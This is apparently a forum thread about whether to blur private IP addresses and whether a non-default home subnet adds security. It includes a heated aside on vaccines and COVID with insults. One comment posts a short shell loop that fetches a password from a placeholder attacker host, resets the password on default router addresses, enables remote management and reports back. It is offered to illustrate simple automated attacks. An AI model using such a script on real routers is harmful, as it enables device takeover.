You don't need to blur the private address. No one here is on your private network.

    Trust no one, always wear your tinfoil hat and don’t take vaccines.

    I'd say 'Never Trust/Always Verify', however I wouldn't say that was tinfoil hat territory. More just common sense. As far as never getting vaccines, all one has to do is go to Reddit and look up the 'Herman Cain Award' subredit to read about people who didn't get vaccines because DumbFuck Donny told them there was nothing to worry about. We are almost to the point of a measles pandemic in the US now and COVID rages on in it's new form of Cicada.

    It's all about exaggerated escalation to make it clear that im joking.

    And this part also carries some weight towards the joking part

    Sorry, COVID is a sore spot for me. My lady friend was a nurse of 40 years who's career was cut short by it. She now has long COVID, and will for the rest of her life. Not because we thought COVID was bullshit, but because 70 million other dumfuck rednecks thought it was.

    If it isn't 192.168.1.0/24 then you should blur it. Mine is completely random and I keep it to myself.

    Using a random non-default subnet increases security (slightly, and only through obscurity) by making it harder for a compromised device to perform automated attacks against, most often, your router. Typically they're pretty simple scripts that just try to hit default ports on default IPs.

    That's not how networking works

    If someone is on the inside of your network you have much bigger issues. Having a random subnet won't do anything as they can just look at the arp/ndp tables.

    That's what I said though, it only protects you from the very most basic of mindless scripts. Obviously ARP/NDP makes it pointless for anything more complicated than…

    newpass="$(curl "https://bad.guy/get_pass_for_pub_ip")"
for a in '192.168.1.1' '192.168.0.1' '10.0.0.1'; do
    curl -q "http://${a}/reset_password.cgi?&password=password&new_password=${newpass}" 2>/dev/null && \
    curl -q "http://${a}/remote_management.cgi?&password=${newpass}&wan_enable=1" && \
    curl -q "https://bad.guy/success?addr=%24%7Ba%7D"
done

    …completely pointless. If it's a someone inside your network, you need more.
